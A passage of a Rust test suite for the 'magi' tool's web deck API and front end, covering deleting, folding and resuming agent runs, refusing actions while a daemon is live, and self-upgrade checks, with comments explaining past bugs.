7812        state2.candidates.push(crate::run::Candidate {
7813            index: 0,
7814            label: 'A',
7815            agent: "a".to_owned(),
7816            branch: "b".to_owned(),
7817            worktree: PathBuf::from("/w"),
7818            summary: String::new(),
7819            stat: String::new(),
7820            files: 1,
7821            commits: 1,
7822            empty: false,
7823            failed: None,
7824            duration_ms: 0,
7825            folded: false,
7826        });
7827        let dir2 = runs.join(run_unfolded);
7828        std::fs::create_dir_all(&dir2).expect("create dir2");
7829        std::fs::write(
7830            dir2.join("run.json"),
7831            serde_json::to_string(&state2).unwrap(),
7832        )
7833        .expect("write run.json");
7834
7835        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
7836        assert_eq!(res.status, 409);
7837        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
7838        assert!(dir2.exists(), "unfolded run directory is kept");
7839
7840        // 4. Missing id returns 404
7841        let res = fx.delete("/api/runs/nonexistent").await;
7842        assert_eq!(res.status, 404);
7843    }
7844
7845    #[test]
7846    fn web_ui_delete_contract_in_front_end() {
7847        // 1. API block has both delete endpoints
7848        assert!(APP_JS.contains("deleteRun:"));
7849        assert!(APP_JS.contains("deleteTask:"));
7850
7851        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
7852        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
7853            ..APP_JS.find("function renderRuns").unwrap()];
7854        assert!(!run_cards_slice.to_lowercase().contains("delete"));
7855
7856        // 3. Run detail has delete entry and reasons
7857        assert!(APP_JS.contains("renderRunDelete"));
7858        assert!(APP_JS.contains("runDeleteReason"));
7859        assert!(APP_JS.contains("magi fold"));
7860        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
7861
7862        // 4. Two-step delete arming and focus on Cancel
7863        assert!(APP_JS.contains("cancel.focus"));
7864        assert!(APP_JS.contains("armedRunDelete"));
7865        assert!(APP_JS.contains("armedDelete"));
7866
7867        // 5. Running task has disabled delete
7868        assert!(APP_JS.contains("disabled: status === \"running\""));
7869    }
7870
7871    /// Every element a run card's updater reaches for must be in the `refs`
7872    /// the builder handed it.
7873    ///
7874    /// `createRunCard` builds its elements, appends them to the card, and then
7875    /// lists them again in `row.refs`. That second list is the one the updater
7876    /// uses, and nothing connects the two - an element can be built, appended
7877    /// and rendered, and still be missing from `refs`. `superseded` was, for
7878    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
7879    /// exception took `syncList` with it, and the deck showed
7880    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
7881    /// line is computed before the cards, which is why the failure looked like
7882    /// a server that had lost its runs rather than a front end that had
7883    /// stopped rendering them.
7884    ///
7885    /// A `cargo test` cannot execute the front end, so this reads the two
7886    /// halves out of the source and compares them as sets. It is not a check
7887    /// on the wording of either list: adding an element, renaming one, or
7888    /// reordering them all keeps this passing, and only using one the builder
7889    /// never published fails it.
7890    #[test]
7891    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
7892        let build = APP_JS
7893            .find("function createRunCard")
7894            .expect("createRunCard exists");
7895        let update = APP_JS
7896            .find("function updateRunCard")
7897            .expect("updateRunCard exists");
7898        let end = APP_JS
7899            .find("function renderRuns")
7900            .expect("renderRuns exists");
7901
7902        // The builder's published set: the object literal assigned to `refs`.
7903        let builder = &APP_JS[build..update];
7904        let open = builder.find("refs = {").expect("createRunCard sets refs");
7905        let literal = &builder[open + "refs = {".len()..];
7906        let close = literal.find('}').expect("the refs literal is closed");
7907        let published: HashSet<&str> = literal[..close]
7908            .split(',')
7909            // `name` and `name: value` both bind `name`.
7910            .filter_map(|entry| entry.split(':').next())
7911            .map(str::trim)
7912            .filter(|name| !name.is_empty())
7913            .collect();
7914        assert!(
7915            published.len() > 5,
7916            "the refs literal did not parse into names: {published:?}"
7917        );
7918
7919        // What the updaters reach for: every `r.<name>`, where `r` is the
7920        // `const r = row.refs` alias both functions open with.
7921        let mut used: Vec<&str> = Vec::new();
7922        let updaters = &APP_JS[update..end];
7923        for (at, _) in updaters.match_indices("r.") {
7924            // `r` must be the whole identifier, not the tail of another one
7925            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
7926            let before = updaters[..at].chars().next_back();
7927            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
7928                continue;
7929            }
7930            let rest = &updaters[at + 2..];
7931            let len = rest
7932                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
7933                .unwrap_or(rest.len());
7934            if len > 0 {
7935                used.push(&rest[..len]);
7936            }
7937        }
7938        assert!(
7939            used.len() > 5,
7940            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
7941        );
7942
7943        let missing: Vec<&str> = used
7944            .iter()
7945            .copied()
7946            .filter(|name| !published.contains(name))
7947            .collect();
7948        assert!(
7949            missing.is_empty(),
7950            "a run card's updater reaches for {missing:?}, which `createRunCard` \
7951             never put in `refs` - every card will throw and the list will \
7952             render empty under a count line that says otherwise. Published: \
7953             {published:?}"
7954        );
7955    }
7956
7957    #[tokio::test]
7958    async fn folding_from_the_phone_reports_what_it_removed() {
7959        let fx = Fixture::start().await;
7960        let runs = fx.runs();
7961
7962        // A run with no candidates has nothing to fold, which is a 200 with an
7963        // honest count rather than an error: the operator asked for the trees
7964        // to be gone and they are.
7965        let id = "20260901-000000-fold";
7966        write_run(&runs, id, RunStatus::Stalled);
7967        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7968        assert_eq!(res.status, 200);
7969        assert_eq!(res.json()["removed_count"], 0);
7970        assert_eq!(res.json()["run"], id);
7971        assert!(
7972            runs.join(id).exists(),
7973            "a fold keeps the run's record; only the worktrees go"
7974        );
7975    }
7976
7977    #[tokio::test]
7978    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
7979        let fx = Fixture::start().await;
7980        let runs = fx.runs();
7981        let wt = fx.home.path().join("wt").join("magi").join("dead");
7982        let id = "20260901-000000-dead";
7983        std::fs::create_dir_all(runs.join(id)).expect("run dir");
7984        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
7985        std::fs::create_dir_all(&wt).expect("worktree dir");
7986
7987        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
7988        assert_eq!(res.status, 200, "{}", res.body);
7989        assert!(
7990            res.json()["removed_count"].as_u64().unwrap() > 0,
7991            "the worktree this build could not read a state for still went"
7992        );
7993        assert!(
7994            !runs.join(id).exists(),
7995            "an unreadable run has no candidate list to fold selectively, so \
7996             the whole record goes - same as `magi fold` on the CLI"
7997        );
7998    }
7999
8000    #[tokio::test]
8001    async fn deleting_an_unreadable_run_removes_it_wholesale() {
8002        let fx = Fixture::start().await;
8003        let runs = fx.runs();
8004        let wt = fx.home.path().join("wt").join("magi").join("gone");
8005        let id = "20260901-000000-gone";
8006        std::fs::create_dir_all(runs.join(id)).expect("run dir");
8007        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
8008        std::fs::create_dir_all(&wt).expect("worktree dir");
8009
8010        let res = fx.delete(&format!("/api/runs/{id}")).await;
8011        assert_eq!(res.status, 204, "{}", res.body);
8012        assert!(!runs.join(id).exists(), "the broken record is gone");
8013        assert!(!wt.exists(), "its worktree is gone too");
8014    }
8015
8016    #[tokio::test]
8017    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
8018        let fx = Fixture::start().await;
8019        let runs = fx.runs();
8020        let id = "20260901-000000-live";
8021        write_run(&runs, id, RunStatus::Implementing);
8022
8023        let mut beat = crate::daemon::Status::new();
8024        beat.current = vec![crate::daemon::Current {
8025            task: "20260901-000000-task".to_owned(),
8026            run: id.to_owned(),
8027        }];
8028        beat.updated_at = jiff::Timestamp::now();
8029        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8030            .expect("publish a heartbeat");
8031
8032        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
8033        assert_eq!(res.status, 409);
8034        assert!(
8035            res.json()["error"]
8036                .as_str()
8037                .unwrap()
8038                .contains("live daemon"),
8039            "folding under a running agent would pull its worktree away"
8040        );
8041    }
8042
8043    #[tokio::test]
8044    async fn resume_is_refused_unless_the_run_stopped_somewhere_it_can_continue() {
8045        let fx = Fixture::start().await;
8046        let runs = fx.runs();
8047
8048        // Only a finished run and a failed one. An *interrupted* run - a
8049        // parked one, or one whose daemon was killed mid-node - is the case
8050        // resuming exists for: run 4043 sat at `reviewing` with the deck
8051        // saying it could not be resumed, which was the one state where
8052        // resuming was the only sensible answer.
8053        for (status, word) in [
8054            (RunStatus::Merged, "merged"),
8055            (RunStatus::Ready, "ready"),
8056            (RunStatus::Failed, "failed"),
8057        ] {
8058            let id = format!("20260901-000000-{}", &word[..4]);
8059            write_run(&runs, &id, status);
8060            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
8061            assert_eq!(res.status, 409, "{word} must not be resumable");
8062            let err = res.json()["error"].as_str().unwrap().to_owned();
8063            assert!(err.contains(word), "the refusal names the status: {err}");
8064        }
8065
8066        // And an interrupted run is accepted: 202, with the resume running in
8067        // the background. `Runner::resume` fails immediately here - the
8068        // fixture's run points at a repository that does not exist - which is
8069        // the point: the handler must not wait for it to find out.
8070        let mid = "20260901-000000-midf";
8071        write_run(&runs, mid, RunStatus::Reviewing);
8072        let res = fx.post(&format!("/api/runs/{mid}/resume"), None).await;
8073        assert_eq!(res.status, 202, "an interrupted run is resumable");
8074    }
8075
8076    #[tokio::test]
8077    async fn resume_is_refused_while_the_loop_is_running() {
8078        let fx = Fixture::start().await;
8079        let runs = fx.runs();
8080        let stalled = "20260901-000000-stal";
8081        write_run(&runs, stalled, RunStatus::Stalled);
8082
8083        // The loop is busy with a *different* run, and that is still a
8084        // refusal: a manual resume must never race whatever the loop itself
8085        // is already driving, whether that is one run or several.
8086        let mut beat = crate::daemon::Status::new();
8087        beat.current = vec![crate::daemon::Current {
8088            task: "20260901-000000-task".to_owned(),
8089            run: "20260901-000000-othr".to_owned(),
8090        }];
8091        beat.updated_at = jiff::Timestamp::now();
8092        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8093            .expect("publish a heartbeat");
8094
8095        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
8096        assert_eq!(res.status, 409);
8097        let err = res.json()["error"].as_str().unwrap().to_owned();
8098        assert!(err.contains("othr"), "it names what the loop is on: {err}");
8099        assert!(err.contains("stop it first"), "{err}");
8100    }
8101
8102    #[test]
8103    fn a_run_cannot_be_resumed_twice_at_once() {
8104        let home = TempDir::new().expect("temp home");
8105        let ui = Ui::new(
8106            Queue::at(home.path().join("queue")),
8107            Questions::at(home.path().join("questions")),
8108            Chats::at(home.path().join("chats")),
8109            Talks::at(home.path().join("talks")),
8110            home.path().join("runs"),
8111            home.path().to_path_buf(),
8112            PathBuf::from("/repo"),
8113        )
8114        .with_worktrees_root(home.path().join("wt"));
8115        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
8116        let again = ui.begin_resume("20260901-000000-once");
8117        assert!(again.is_err(), "a second tap must not start a second graph");
8118        drop(first);
8119        assert!(
8120            ui.begin_resume("20260901-000000-once").is_ok(),
8121            "and the claim is released when the attempt ends"
8122        );
8123    }
8124
8125    #[test]
8126    fn refreshing_a_conversation_never_navigates_to_it() {
8127        // Reproduced on the deck: send a turn in one conversation, open
8128        // another, and ten seconds later the transcript on screen was the
8129        // first one while the address bar still named the second.
8130        // `tickWaits`' insurance calls `loadChat` for every *waiting* chat, and
8131        // `loadChat` opened by assigning `state.chatDetail`, so a refresh was
8132        // a navigation.
8133        let body = &APP_JS[APP_JS.find("async function loadChat(").expect("loadChat")
8134            ..APP_JS.find("async function startChat(").expect("startChat")];
8135        assert!(
8136            !body.contains("state.chatDetail = {"),
8137            "loadChat must not decide which conversation is on screen: {body}"
8138        );
8139        assert!(
8140            body.contains("if (state.chatDetail.id !== id) return;"),
8141            "it returns instead of drawing a chat the operator is not reading"
8142        );
8143
8144        // The wait still has to be settled from there, and before that check,
8145        // because the insurance exists for a reply that lands while the
8146        // operator is elsewhere - otherwise the wait strip runs forever.
8147        assert!(
8148            body.find("trackIfThinking(chat)")
8149                < body.find("if (state.chatDetail.id !== id) return;"),
8150            "settle the wait before the on-screen check"
8151        );
8152
8153        // Choosing the conversation on screen belongs to the router.
8154        let router = &APP_JS[APP_JS.find("function applyRoute(").expect("applyRoute")..];
8155        assert!(router.contains("state.chatDetail = { id: route.id, chat: null }"));
8156    }
8157
8158    #[tokio::test]
8159    async fn an_upgrade_is_refused_when_the_loop_belongs_to_another_process() {
8160        let fx = Fixture::start().await;
8161        // Somebody else's `magi serve` owns the queue. Replacing this binary
8162        // would leave that process running an old one against the same
8163        // claims, which is worse than refusing.
8164        let mut beat = crate::daemon::Status::new();
8165        beat.pid = 4321;
8166        beat.updated_at = jiff::Timestamp::now();
8167        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
8168            .expect("publish a heartbeat");
8169
8170        let res = fx.post("/api/upgrade", None).await;
8171        assert_eq!(res.status, 409);
8172        let err = res.json()["error"].as_str().unwrap().to_owned();
8173        assert!(err.contains("4321"), "the refusal names the owner: {err}");
8174        assert!(err.contains("old one against the same queue"), "{err}");
8175    }
8176
8177    /// [`should_spawn_recheck`] must refuse for the same two reasons
8178    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
8179    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
8180    /// Purely a predicate over config and the environment - no network, no
8181    /// disk, no runtime - so unlike the fixture-based tests around it this
8182    /// one needs neither.
8183    #[test]
8184    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
8185        assert!(!should_spawn_recheck(&crate::config::Update {
8186            mode: UpdateMode::Off,
8187            interval: None,
8188        }));
8189
8190        // SAFETY: single-threaded as far as this variable goes, the same
8191        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
8192        unsafe {
8193            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8194        }
8195        let killed = should_spawn_recheck(&crate::config::Update {
8196            mode: UpdateMode::Notify,
8197            interval: None,
8198        });
8199        unsafe {
8200            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8201        }
8202        assert!(
8203            !killed,
8204            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
8205             one-time startup check"
8206        );
8207
8208        assert!(should_spawn_recheck(&crate::config::Update {
8209            mode: UpdateMode::Notify,
8210            interval: None,
8211        }));
8212    }
8213
8214    /// [`recheck_poll_period`] must track a configured `[update] interval`
8215    /// shorter than its own default ceiling - a fixed sleep here would leave
8216    /// an operator's short interval waiting on the next wake-up instead of on
8217    /// `should_check`, which is the same bug this whole task exists to fix,
8218    /// just one level down.
8219    #[test]
8220    fn recheck_poll_period_tracks_a_short_configured_interval() {
8221        let short = crate::config::Update {
8222            mode: UpdateMode::Notify,
8223            interval: Some("1m".to_owned()),
8224        };
8225        let period = recheck_poll_period(&short);
8226        assert!(
8227            period <= Duration::from_secs(30),
8228            "a one-minute interval must wake the task far sooner than the \
8229             default ceiling, or the deck would not notice within the \
8230             interval the operator configured: got {period:?}"
8231        );
8232
8233        let default = crate::config::Update {
8234            mode: UpdateMode::Notify,
8235            interval: None,
8236        };
8237        assert_eq!(
8238            recheck_poll_period(&default),
8239            UPDATE_RECHECK_POLL_MAX,
8240            "the default day-long interval should poll at the (capped) \
8241             ceiling rather than needlessly often"
8242        );
8243    }
8244
8245    /// [`update_recheck_due`] must not repeat a check made moments ago, the
8246    /// same throttle `updater::Checker::should_check` already gives the
8247    /// CLI's notify mode. Built over an explicit state file via
8248    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
8249    /// write the operator's real `last_update_check.json` - and therefore
8250    /// cannot flake on whatever that file happens to say on the machine
8251    /// running the test.
8252    #[test]
8253    fn recheck_skips_the_network_before_the_interval_elapses() {
8254        let dir = TempDir::new().expect("temp dir");
8255        let path = dir.path().join("state.json");
8256        let state = kaishin::UpdateCheckState {
8257            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
8258            last_known_latest: None,
8259            last_known_url: None,
8260        };
8261        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
8262
8263        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
8264        assert!(
8265            !update_recheck_due(&checker, None),
8266            "a check made moments ago must not be repeated before the \
8267             configured interval elapses"
8268        );
8269    }
8270
8271    /// An upgrade this deck already started must not be raced by a recheck
8272    /// that discovers a newer release mid-install - regardless of what
8273    /// `should_check` says, which is why the state file here is missing
8274    /// entirely: read alone, that alone would answer "never checked, go
8275    /// ahead".
8276    #[test]
8277    fn recheck_defers_to_an_upgrade_already_in_flight() {
8278        let dir = TempDir::new().expect("temp dir");
8279        let path = dir.path().join("state.json");
8280        let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
8281        let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
8282
8283        assert!(
8284            !update_recheck_due(&checker, Some(&progress)),
8285            "a recheck must not run while an upgrade this deck started is \
8286             still moving"
8287        );
8288    }
8289
8290    #[tokio::test]
8291    async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
8292        // The same env var the background check honours (`disabled_by_env`)
8293        // must also stop a button press before it ever calls
8294        // `Checker::newer_release` - an operator who set `MAGI_NO_AUTOUPDATE`
8295        // means "never contact GitHub from this process", and a tap on the
8296        // upgrade button must not override that any more than a broken
8297        // `magi.toml` may. Left unset, this fixture's default config would
8298        // otherwise reach a real, unauthenticated GitHub call.
8299        //
8300        // SAFETY: single-threaded as far as this variable goes - nothing else
8301        // in this binary reads `MAGI_NO_AUTOUPDATE` concurrently, the same
8302        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
8303        unsafe {
8304            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
8305        }
8306        let fx = Fixture::start().await;
8307        let res = fx.post("/api/upgrade", None).await;
8308        unsafe {
8309            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
8310        }
8311        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8312        let body = res.json();
8313        assert!(body["to"].is_null(), "there was no release to move to");
8314        assert!(body["parked"].is_null(), "and nothing was parked");
8315        assert!(
8316            body["detail"]
8317                .as_str()
8318                .unwrap()
8319                .contains("disabled by MAGI_NO_AUTOUPDATE"),
8320            "{body:?}"
8321        );
8322    }
8323
8324    #[tokio::test]
8325    async fn an_upgrade_with_nothing_to_install_changes_nothing() {
8326        // `[update] mode = "off"` so `updater::Checker::new` returns `None`
8327        // and the route answers from its own logic.
8328        //
8329        // This test used to lean on the fixture's placeholder repo failing
8330        // config discovery, which left `mode = "notify"` - and a live,
8331        // unauthenticated call to the GitHub releases API inside a unit test.
8332        // GitHub allows 60 of those an hour per address, so the suite went red
8333        // on `macos-latest` and nowhere else, in bursts, and stayed red for as
8334        // long as somebody kept re-running it: every attempt spent another
8335        // request. Six reruns across four pull requests were charged to that
8336        // before it was read as a rate limit rather than a flake.
8337        //
8338        // What the assertion is about is the "already current" branch, which
8339        // is reached by there being no newer release *or* nowhere to look. The
8340        // second one needs no network and cannot be rate limited.
8341        let repo = TempDir::new().expect("repo dir");
8342        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8343            .expect("write magi.toml");
8344        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8345
8346        // It must answer 200 and leave the process alone: restarting for an
8347        // upgrade that did not happen parks the run in flight and drops every
8348        // connection to pay for nothing. A probe against a deck already on the
8349        // newest build did exactly that, which is how this case got its own
8350        // branch.
8351        let res = fx.post("/api/upgrade", None).await;
8352        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
8353        let body = res.json();
8354        assert!(body["to"].is_null(), "there was no release to move to");
8355        assert!(body["parked"].is_null(), "and nothing was parked");
8356        assert!(
8357            body["detail"]
8358                .as_str()
8359                .unwrap()
8360                .contains("nothing restarted"),
8361            "{body:?}"
8362        );
8363    }
8364
8365    #[tokio::test]
8366    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
8367        // `mode = "off"` for the same reason as the test above: a default
8368        // fixture repo falls back to `mode = "notify"`, which would make this
8369        // route's new `update` field a live, unauthenticated GitHub call on
8370        // every assertion in this suite that happens to hit `/api/health`.
8371        let repo = TempDir::new().expect("repo dir");
8372        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
8373            .expect("write magi.toml");
8374        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
8375
8376        let health = fx.get("/api/health").await.json();
8377        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
8378        assert_eq!(
8379            health["update"]["available"], false,
8380            "checking is off, which reads as \"unknown\", not \"none\""
8381        );
8382        assert!(health["update"]["to"].is_null());
8383        assert!(
8384            health["upgrade"].is_null(),
8385            "nothing has ever asked this deck to upgrade"
8386        );
8387    }
8388
8389    #[tokio::test]
8390    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
8391        let fx = Fixture::start().await;
8392        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
8393
8394        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8395        progress.parked_run = Some("20260905-000000-cd51".to_owned());
8396        progress.advance(crate::updater::Stage::Parking);
8397        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8398
8399        let health = fx.get("/api/health").await.json();
8400        assert_eq!(health["upgrade"]["stage"], "parking");
8401        assert_eq!(health["upgrade"]["from"], "0.5.1");
8402        assert_eq!(health["upgrade"]["to"], "0.5.2");
8403        let waiting_on = health["upgrade"]["waiting_on"]
8404            .as_str()
8405            .expect("waiting_on is set while parking a known run");
8406        assert!(waiting_on.contains("cd51"), "{waiting_on}");
8407        assert!(waiting_on.contains("implementing"), "{waiting_on}");
8408    }
8409
8410    #[tokio::test]
8411    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
8412        let fx = Fixture::start().await;
8413        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8414        progress.advance(crate::updater::Stage::Done);
8415        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
8416
8417        let health = fx.get("/api/health").await.json();
8418        assert_eq!(health["upgrade"]["stage"], "done");
8419        assert!(
8420            health["upgrade"]["waiting_on"].is_null(),
8421            "nothing to wait on once it is done"
8422        );
8423    }
8424
8425    #[tokio::test]
8426    async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
8427        let home = TempDir::new().expect("temp home");
8428        let runs = home.path().join("runs");
8429        std::fs::create_dir_all(&runs).expect("runs dir");
8430        let ui = Ui::new(
8431            Queue::at(home.path().join("queue")),
8432            Questions::at(home.path().join("questions")),
8433            Chats::at(home.path().join("chats")),
8434            Talks::at(home.path().join("talks")),
8435            runs,
8436            home.path().to_path_buf(),
8437            PathBuf::from("/repo/magi"),
8438        )
8439        .with_launch(launch_idle);
8440        let looping = ui.looping();
8441        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8442            .await
8443            .expect("bind loopback");
8444        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
8445
8446        let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
8447        crate::updater::write_progress(home.path(), &progress).expect("seed progress");
8448
8449        hand_over(home.path(), &looping, served, || Ok(()))
8450            .await
8451            .expect("hand over");
8452
8453        let after = crate::updater::read_progress(home.path()).expect("progress on disk");
8454        assert_eq!(
8455            after.stage,
8456            crate::updater::Stage::Restarting,
8457            "hand_over owns the record through parking and up to restarting; \
8458             the successor is what finishes it"
8459        );
8460    }
8461
8462    #[test]
8463    fn the_upgrade_button_arms_before_it_restarts_anything() {
8464        // It ends the process the operator is talking to, and a phone in a
8465        // pocket taps things. One tap arms, the second commits.
8466        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
8467        assert!(APP_JS.contains("Replace the binary and restart?"));
8468        assert!(APP_JS.contains("function confirmed("));
8469        // Hidden when the loop is somebody else's, matching the 409 above -
8470        // and hidden with nothing to install, matching the 200 "already
8471        // current" branch: an operator on the newest build must not be
8472        // offered a restart that would only park a run for nothing.
8473        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
8474        // A park waits for the node in flight, up to an hour for an implement
8475        // wave. Leaving the button reading "Upgrading…" for that long is the
8476        // same mistake as an error rendered off screen: it looks wedged.
8477        assert!(
8478            APP_JS.contains("Parking, then restarting"),
8479            "the button says what it is waiting for"
8480        );
8481        // And nothing to install must give the button back rather than
8482        // pretending a restart is coming.
8483        assert!(APP_JS.contains("if (!out.to)"));
8484    }
8485
8486    #[test]
8487    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
8488        assert!(
8489            APP_JS.contains("state.health.version"),
8490            "the operator wants to know what is running even with nothing newer"
8491        );
8492        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
8493    }
8494
8495    #[test]
8496    fn the_upgrade_button_names_its_destination() {
8497        assert!(
8498            APP_JS.contains("`Update to ${update.to}`"),
8499            "pressing the button should not be a surprise about what it moves to"
8500        );
8501    }
8502
8503    #[test]
8504    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
8505        for stage in ["downloading", "replaced", "parking", "restarting"] {
8506            assert!(
8507                APP_JS.contains(&format!("\"{stage}\"")),
8508                "the phone must be able to tell {stage} apart from the others"
8509            );
8510        }
8511        assert!(APP_JS.contains(".waiting_on"));
8512        // What replaced the bare "Cannot reach magi: Failed to fetch": a
8513        // fetch failing while an upgrade is in flight is not an error, it is
8514        // the sub-second gap `bind_waiting` covers, and it must not be
8515        // reported as one.
8516        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
8517        assert!(APP_JS.contains("reconnects on its own"));
8518    }
8519
8520    #[test]
8521    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
8522        // `Stage::Failed` is terminal on the server and nothing clears it on
8523        // its own - not a fresh start, not time passing - so a full-strip
8524        // takeover for it (the way the busy stages take the strip over,
8525        // correctly, because those are transient) would have hidden
8526        // start/stop/park behind an upgrade notice with no way back short of
8527        // a person editing `upgrade.json` by hand or a later release
8528        // happening to succeed. The failure must instead ride along as a note
8529        // next to whatever control the loop's own state already offers.
8530        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
8531            ..APP_JS.find("function upgrade(").expect("upgrade")];
8532        assert!(
8533            !body.contains(
8534                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
8535            ),
8536            "a failed upgrade must not take the whole strip over the way it used to"
8537        );
8538        assert!(
8539            body.contains("upgradeFailNote"),
8540            "the failure has to reach the loop's own note instead"
8541        );
8542        // `quiet` and `control` are the only two places `loop-why` is set from
8543        // this function's own state; both must carry the note through, or a
8544        // future edit to either one would silently drop it again.
8545        assert_eq!(
8546            body.matches("upgradeFailNote].filter(Boolean).join")
8547                .count(),
8548            2,
8549            "both loop-why writers (quiet and control) must fold the note in"
8550        );
8551    }
8552
8553    #[test]
8554    fn an_overdue_upgrade_eventually_asks_for_a_human() {
8555        // The ceiling has to clear a full hour-long park with room to spare,
8556        // or an ordinary implement wave would be reported as a stuck upgrade.
8557        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
8558        assert!(APP_JS.contains("function upgradeOverdue("));
8559    }
8560
8561    #[test]
8562    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
8563        assert!(
8564            APP_JS.contains("Updated to ${upgradeInfo.to"),
8565            "the operator who asked for the restart wants to know it worked"
8566        );
8567    }
8568
8569    #[test]
8570    fn an_error_is_visible_from_where_the_button_is() {
8571        // The alert used to sit in the flow under the header. On a phone
8572        // scrolled 13 500 px down to a run's action sheet that is off screen,
8573        // so tapping Resume and being told "the loop is running run b455
8574        // right now" looked exactly like a button that did nothing.
8575        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
8576            ..APP_CSS.find(".alert-text").expect(".alert-text")];
8577        assert!(
8578            alert.contains("position: fixed"),
8579            "an error about the thing under your thumb has to be visible from \
8580             where your thumb is: {alert}"
8581        );
8582        assert!(
8583            alert.contains("z-index: 25"),
8584            "above the dock (20) and the run-actions FAB (15), so neither \
8585             buries it: {alert}"
8586        );
8587        assert!(
8588            alert.contains("var(--tap)"),
8589            "and clear of the dock and the home indicator: {alert}"
8590        );
8591        // The FAB sits at the same height on the right. An error that covered
8592        // it would hide the button the operator reaches for next.
8593        assert!(
8594            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
8595            "the FAB's column stays free: {alert}"
8596        );
8597    }
8598
8599    #[tokio::test]
8600    async fn an_older_attempt_says_what_replaced_it() {
8601        let fx = Fixture::start().await;
8602        let q = fx.queue();
8603        let runs = fx.runs();
8604        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
8605        write_run(&runs, first, RunStatus::Stalled);
8606        write_run(&runs, second, RunStatus::Blocked);
8607
8608        let mut t = Task::new(
8609            "one task".to_owned(),
8610            "do it".to_owned(),
8611            PathBuf::from("/repo"),
8612            Source::Human,
8613        );
8614        t.runs = vec![first.to_owned(), second.to_owned()];
8615        q.put(&mut t).expect("put");
8616
8617        // Two cards with the same title and no hint which is which was the
8618        // question: "why are there two of the same, one stalled and one
8619        // blocked?" The older one now names its replacement.
8620        let rows = fx.get("/api/runs").await.json();
8621        let by = |short: &str| -> Value {
8622            rows.as_array()
8623                .unwrap()
8624                .iter()
8625                .find(|r| r["short"] == short)
8626                .cloned()
8627                .unwrap_or(Value::Null)
8628        };
8629        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
